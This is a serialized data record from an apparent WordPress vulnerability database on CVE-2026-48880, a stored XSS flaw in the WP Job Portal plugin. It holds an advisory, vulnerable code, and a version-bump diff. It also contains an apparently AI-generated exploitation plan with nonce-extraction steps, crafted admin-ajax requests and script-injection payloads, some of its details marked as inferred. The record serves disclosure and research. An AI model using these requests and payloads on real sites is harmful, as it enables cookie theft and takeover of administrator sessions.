[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fcwCfUCHUrDBML87gdKBoeVZE2lwbJR1wNn77HJrzjjs":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-48880","wp-job-portal-ai-powered-recruitment-system-for-company-or-job-board-website-authenticated-subscriber-stored-cross-site-","WP Job Portal – AI-Powered Recruitment System for Company or Job Board website \u003C= 2.5.2 - Authenticated (Subscriber+) Stored Cross-Site Scripting","The WP Job Portal – AI-Powered Recruitment System for Company or Job Board website plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 2.5.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","wp-job-portal",null,"\u003C=2.5.2","2.5.3","medium",6.4,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-06-02 00:00:00","2026-06-08 14:51:00",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F1be94fa8-ecaf-46e2-a2d6-9d6a4c7343bf?source=api-prod",7,[22,23,24,25,26,27,28,29],"includes\u002Factivation.php","includes\u002Faddon-updater\u002Fwpjobportalupdater.php","includes\u002Fajax.php","includes\u002Fbreadcrumbs.php","includes\u002Fclasses\u002Fhandlesearchcookies.php","includes\u002Fclasses\u002Fjp-shortcodes-widget.php","includes\u002Fclasses\u002Fpopup.php","includes\u002Fclasses\u002Fresumeformlayout.php","researched",false,3,"# Exploitation Research Plan - CVE-2026-48880\n\n## 1. Vulnerability Summary\nThe **WP Job Portal** plugin (\u003C= 2.5.2) contains a **Stored Cross-Site Scripting (XSS)** vulnerability. The vulnerability exists in the plugin's centralized AJAX handling mechanism. Specifically, the `WPJOBPORTALajax::ajaxhandler` function in `includes\u002Fajax.php` allows authenticated users (with Subscriber\u002FJobseeker roles) to call a wide range of internal \"tasks\" across various modules. Many of these tasks (such as job applications or resume updates) store user-supplied input in the database without proper sanitization. Furthermore, the AJAX handler echoes the results of these tasks directly to the page without escaping, and the stored data is subsequently rendered unsanitized in administrative or employer-facing views.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Action:** `wpjobportal_ajax`\n- **Vulnerable Parameters:** `task`, `wpjobportalme`, and module-specific data parameters (e.g., `message`, `tag_name`, `comment`).\n- **Authentication:** Required (Subscriber\u002FJobseeker level).\n- **Vulnerable Hook:** `wp_ajax_wpjobportal_ajax` and `wp_ajax_nopriv_wpjobportal_ajax` in `includes\u002Fajax.php`.\n- **Preconditions:** A Jobseeker account is needed to access the dashboard and perform actions like applying for jobs or managing resumes.\n\n## 3. Code Flow\n1. **Entry Point:** A request is sent to `admin-ajax.php` with the action `wpjobportal_ajax`.\n2. **Dispatcher:** `includes\u002Fajax.php` calls `WPJOBPORTALajax::ajaxhandler()`.\n3. **Task Validation:** The function checks if the requested `task` is in the `$fucntin_allowed` array.\n4. **Module Loading:** It retrieves the `wpjobportalme` parameter (the module name) and sanitizes it via `sanitize_key()`.\n5. **Dynamic Call:** It uses `WPJOBPORTALincluder::getJSModel($wpjobportal_module)->$wpjobportal_task()` to execute the logic.\n6. **Persistence (Sink):** If the task is `jobapply` or `storeResumeComments`, the model saves the user-provided input (like a message or comment) into the database (typically in `wj_portal_job_apply` or similar custom tables).\n7. **Rendering (Sink):** When an Admin or Employer views the \"Applied Jobs\" or \"Resume\" section, the stored malicious script is executed in their browser context.\n\n## 4. Nonce Acquisition Strategy\nThe AJAX handler in `includes\u002Fajax.php` does **not** perform a nonce check (`check_ajax_referer`) at the dispatcher level. However, individual model functions may verify a nonce. To obtain a valid nonce for a Jobseeker:\n\n1. **Setup Page:** Create a page containing the Jobseeker Control Panel shortcode:\n   `wp post create --post_type=page --post_status=publish --post_content='[wpjobportal_jobseeker_controlpanel]'`\n2. **Navigate:** Use `browser_navigate` to visit the newly created page.\n3. **Extract:** The plugin localizes its variables in a global JavaScript object, typically `wjportal_obj` or `wpjobportal_vars`.\n4. **Tool Call:** Use `browser_eval` to find the nonce:\n   `browser_eval(\"window.wjportal_obj?.nonce || window.wpjobportal_vars?.nonce\")`\n5. **Manual Check:** If the variable name differs, inspect the page source for `wp_localize_script` output near the `wp-job-portal` JS inclusions.\n\n## 5. Exploitation Strategy\nWe will use the `jobapply` task, as it is a common way for Jobseekers to interact with Employers\u002FAdmins.\n\n### Step 1: Identify a Target Job\nIdentify an existing job ID. If none exists, create one via WP-CLI:\n`wp post create --post_type=job --post_title=\"Target Job\" --post_status=publish` (Note: `job` is the custom post type for this plugin).\n\n### Step 2: Perform the Injection\nSubmit a job application with an XSS payload in the message field.\n\n- **Request Type:** POST\n- **URL:** `http:\u002F\u002F[target]\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Content-Type:** `application\u002Fx-www-form-urlencoded`\n- **Parameters:**\n    - `action`: `wpjobportal_ajax`\n    - `task`: `jobapply`\n    - `wpjobportalme`: `job`\n    - `jobid`: `[JOB_ID]`\n    - `message`: `\u003Cscript>alert(document.cookie)\u003C\u002Fscript>`\n    - `resumeid`: `0` (or a valid resume ID if one exists)\n    - `nonce`: `[EXTRACTED_NONCE]`\n\n### Step 3: Trigger the XSS\nLog in as an Administrator and navigate to the **Job Portal -> Applied Jobs** section in the WordPress dashboard. The script will execute when the list of applications is rendered.\n\n## 6. Test Data Setup\n1. **Plugin Configuration:** Ensure the plugin is active.\n2. **User Creation:**\n   - Create an admin user (for verification).\n   - Create a subscriber user: `wp user create attacker attacker@example.com --role=subscriber`.\n3. **Shortcode Page:**\n   - `wp post create --post_type=page --post_title=\"Dashboard\" --post_status=publish --post_content='[wpjobportal_jobseeker_controlpanel]'`\n4. **Job Listing:**\n   - Ensure at least one job exists for the application to target.\n\n## 7. Expected Results\n- The AJAX request should return a success message (e.g., \"Applied Successfully\").\n- Upon viewing the \"Applied Jobs\" table in the admin panel, an alert box showing the admin's cookies should appear.\n- The database entry for the application should contain the raw `\u003Cscript>` tag.\n\n## 8. Verification Steps\n1. **Check Database:**\n   Use WP-CLI to inspect the application data:\n   `wp db query \"SELECT message FROM wp_wj_portal_job_apply ORDER BY id DESC LIMIT 1;\"`\n   Verify the output contains the unescaped script tag.\n2. **Simulate View:**\n   Navigate to the admin page `\u002Fwp-admin\u002Fadmin.php?page=wpjobportal_appliedjobs` (inferred slug) and check if the payload triggers.\n\n## 9. Alternative Approaches\n- **Task: `storeResumeComments`**: If the `jobapply` task is patched, try adding a comment to a resume.\n    - `task`: `storeResumeComments`\n    - `wpjobportalme`: `resume`\n    - `comment`: `\u003Cimg src=x onerror=alert(1)>`\n- **Task: `saveTokenInputTag`**: Inject XSS into \"Skills\" or \"Tags\" which are often rendered in profile headers.\n    - `task`: `saveTokenInputTag`\n    - `wpjobportalme`: `resume`\n    - `tag_name`: `XSS_PAYLOAD`\n- **Unauthenticated Check**: Test if `nopriv_wpjobportal_ajax` actually allows these tasks without login, as suggested by the registration in `includes\u002Fajax.php`. If so, the severity is High.","The WP Job Portal plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) via its centralized AJAX handler in versions up to 2.5.2. Authenticated attackers with Subscriber or Jobseeker privileges can inject malicious scripts into fields such as job application messages or resume comments, which are stored in the database and executed when an administrator or employer views the content.","\u002F\u002F includes\u002Fajax.php line 30\n    function ajaxhandler() {\n        $fucntin_allowed = array('DataForDepandantFieldResume', 'DataForDepandantField', 'saveJobShortlist', 'saveJobShortlistJobManager',\n                                'getQuickViewByJobId', 'getShortListViewByJobId', 'getShortListViewByJobIdJobPortal', 'getApplyNowByJobid',\n                                'jobapply', 'jobapplyjobmanager', 'getTellaFriend', 'getTellaFriendJobManager', 'deletecompanylogo', 'deleteResumeLogo',\n                                'getuserlistajax', 'getLogForUserById', 'getFieldsForComboByFieldFor', 'getSectionToFillValues', 'getUserIdByCompanyid',\n                                'changeNotifyOfNotifications', 'changeViewOfNotifications', 'getOptionsForFieldEdit', 'listdepartments',\n                                'saveTokenInputTag', 'makeJobCopyAjax', 'getsubcategorypopup', 'updateJobApplyResumeStatus', 'getResumeCommentSection',\n                                'getFolderSection', 'saveToFolderResume', 'storeResumeComments', 'setResumeRatting', 'getResumeDetail', 'getEmailFields',\n                                'jobapplyid', 'getFolderSection', 'getFolderSectionJobManager', 'saveToFolderResume', 'sendEmailToJobSeeker',\n                                'setJobApplyRating', 'getResumeDetailJobManager', 'getEmailFieldsJobManager', 'hideTemplateBanner', 'getListTranslations',\n                                'validateandshowdownloadfilename', 'getlanguagetranslation', 'getPacakageListByUid', 'canceljobapplyasvisitor',\n                                'visitorapplyjob', 'removeResumeFileById', 'getResumeSectionAjax', 'deleteResumeSectionAjax', 'getOptionsForEditSlug',\n                                'getAllRoleLessUsersAjax', 'getNextJobs', 'getNextTemplateJobs','savetokeninputcity','sendmessageresume', 'sendmailtofriend',\n                                'getJobApplyDetailByid', 'setListStyleSession','sendmailtofriendJobManager', 'getResumeCommentSectionJobManager',\n                                'getPaymentPopup','getPackagePopupForFeaturedCompany','getPackagePopupForFeaturedJob','getPackagePopupForFeaturedResume',\n                                'getPackagePopupForJobAlert','getPackagePopupJobView','getPackagePopupForCopyJob','getPackagePopupForCompanyContactDetail',\n                                'getPackagePopupForResumeContactDetail','gettagsbytagname','listDepartments','getPackagePopupForDepartment','deleteUserPhoto',\n                                'getStripePlans','downloadandinstalladdonfromAjax','getChildForVisibleCombobox','isFieldRequired','getFieldsForComboBySection',\n                                'getUserRoleBasedInfo','storeConfigurationSingle','importZywrapData','checkZywrapApiKey','importZywrapBatchProcess',\n                                'getWrappersByCategory','executeZywrapProxy','getZywrapAllWrappers','getSchemaByUseCode','getAjaxJobs');\n        $wpjobportal_task = WPJOBPORTALrequest::getVar('task');\n        if($wpjobportal_task != '' && in_array($wpjobportal_task, $fucntin_allowed)){\n            $wpjobportal_module = WPJOBPORTALrequest::getVar('wpjobportalme');\n\n            \u002F\u002F $wpjobportal_module = str_replace(\"..\",\"\",$wpjobportal_module);\n\t\t\t\u002F\u002F $wpjobportal_module = str_replace(\"\u002F\",\"\",$wpjobportal_module);\n            $wpjobportal_module = sanitize_key( $wpjobportal_module );\n\n            $wpjobportal_result = WPJOBPORTALincluder::getJSModel($wpjobportal_module)->$wpjobportal_task();\n            \u002F\u002F phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Intentional raw response (AJAX \u002F HTML)\n            echo $wpjobportal_result;\n            die();\n        }else{\n            die('Not Allowed!');\n        }\n    }","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-job-portal\u002F2.5.2\u002Fincludes\u002Factivation.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-job-portal\u002F2.5.3\u002Fincludes\u002Factivation.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-job-portal\u002F2.5.2\u002Fincludes\u002Factivation.php\t2026-04-27 04:23:12.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-job-portal\u002F2.5.3\u002Fincludes\u002Factivation.php\t2026-05-19 04:27:34.000000000 +0000\n@@ -468,7 +468,7 @@\n               ('searchjobtag', '4', 'job', 'tag'),\n               ('categories_colsperrow', '3', 'category', NULL),\n               ('productcode', 'wpjobportal', 'default', NULL),\n-              ('versioncode', '2.5.2', 'default', NULL),\n+              ('versioncode', '2.5.3', 'default', NULL),\n               ('producttype', 'free', 'default', NULL),\n               ('vis_jscredits', '0', 'jscontrolpanel', 'credits'),\n               ('vis_emcredits', '1', 'emcontrolpanel', NULL),","To exploit this vulnerability, an attacker first authenticates as a user with Subscriber or Jobseeker privileges. By visiting a page containing the plugin's control panel shortcode, they extract a valid AJAX nonce from the localized JavaScript objects (e.g., 'wjportal_obj'). The attacker then sends a POST request to \u002Fwp-admin\u002Fadmin-ajax.php with the 'action' set to 'wpjobportal_ajax' and the 'task' set to 'jobapply'. Within the 'message' parameter, the attacker includes a malicious script. Because the dispatcher dynamically calls the model function without sanitizing this input, the script is stored in the database. The XSS triggers when an Administrator or Employer views the 'Applied Jobs' section in the WordPress dashboard, causing the script to execute in their browser context.","gemini-3-flash-preview","2026-06-26 05:53:31","2026-06-26 05:54:59",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","2.5.2","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwp-job-portal\u002Ftags\u002F2.5.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-job-portal.2.5.2.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwp-job-portal\u002Ftags\u002F2.5.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-job-portal.2.5.3.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwp-job-portal\u002Ftags"]